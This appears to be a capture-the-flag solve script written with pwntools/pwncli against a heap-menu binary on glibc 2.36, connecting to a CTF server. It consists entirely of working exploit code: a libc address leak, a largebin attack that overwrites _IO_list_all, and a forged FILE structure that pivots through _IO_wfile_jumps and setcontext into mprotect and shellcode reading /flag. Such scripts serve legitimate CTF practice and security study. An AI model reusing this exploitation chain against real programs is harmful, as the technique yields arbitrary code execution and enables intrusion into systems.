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from pwncli import *
filename = "pwn_patched"
libcname = "/home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6_2.36-0ubuntu4_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "nc1.ctfplus.cn"
port = 44260
elf = context.binary = ELF(filename)
context.terminal = ["tmux", "neww"]
context.log_level = "debug"
if libcname:
libc = ELF(libcname)
gs = """
b main
b _IO_wfile_underflow
set debug-file-directory /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/libc6-dbg_2.36-0ubuntu4_amd64/usr/lib/debug
set directories /home/botdebug/.config/cpwn/pkgs/2.36-0ubuntu4/amd64/glibc-source_2.36-0ubuntu4_all/usr/src/glibc/glibc-2.36
"""
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
p = start()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rl = lambda x: p.recvline(x)
inter = lambda: p.interactive()
def cmd(i):
sla("choice: \n", i)
def add(idx, size, msg):
cmd("1")
ru("=>\n")
s(str(idx))
ru("=>\n")
s(str(size))
ru("=>\n")
s(msg)
def edit(idx, msg):
cmd("3")
ru("=>\n")
s(str(idx))
ru("=>\n")
s(msg)
def show(idx):
cmd("4")
ru("=>\n")
s(str(idx))
def dele(idx):
cmd("2")
ru("=>\n")
s(str(idx))
p.recvrepeat(0.5)
s("y")
ru(b"\x1B[0m")
ru(b"\x1B[0m")
sl("A" * 5)
add(0, 0x428, "AAA")
add(1, 0x500, "AAA")
add(2, 0x418, "AAA")
add(3, 0x500, "AAA")
dele(0)
add(4, 0x500, "B")
show(0)
libc_base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x1f70b0
libc.address = libc_base
leak_ex2(libc_base)
ru(b'\x00\x00')
ru(b'\x00\x00')
fake_io_file = u64(r(6).ljust(8, b'\x00')) + 0x940
leak_ex2(fake_io_file)
edit(0, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
dele(2)
add(5, 0x500, "C")
fake_IO_file_addr = fake_io_file
chunk1 = libc.bss(0x300)
fake_ucontext_addr = fake_IO_file_addr + 0x100
_IO_wide_data_1 = libc_base + 0x1f6980
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps'] + 8
fake_IO_file = p64(0xffffffffffffffff)
fake_IO_file += p64(0) * 2 + p64(1)
fake_IO_file = fake_IO_file.ljust(0x30, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x100)
fake_IO_file = fake_IO_file.ljust(0x78, b'\x00')
fake_IO_file += p64(chunk1 + 0x300)
fake_IO_file = fake_IO_file.ljust(0x88, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x40)
fake_IO_file += p64(_IO_wide_data_1)
fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps)
fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00')
fake_IO_file += p64(0)
fake_IO_file += p64(0) * 4
fake_IO_file += p64(libc.sym['setcontext'])
rdi = fake_ucontext_addr & ~0xfff
rsi = 0x1000
rbp = fake_ucontext_addr + 0x100
rbx = 0
rdx = 7
rcx = 0
rax = 0
rsp = fake_ucontext_addr + 0x100
rip = libc.sym['mprotect']
ucontext = b''
ucontext += p64(0) * 7
ucontext += p64(rdi) + p64(rsi)
ucontext += p64(rbp) + p64(rbx)
ucontext += p64(rdx) + p64(rcx)
ucontext += p64(rax)
ucontext += p64(rsp) + p64(rip)
ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00')
ucontext += p64(chunk1 + 0x1000)
ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')
shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(shellcraft.cat('/flag'))
payload = fake_IO_file + ucontext + bytes(shellcode)
edit(2, payload)
pause()
cmd('5')
p.interactive()
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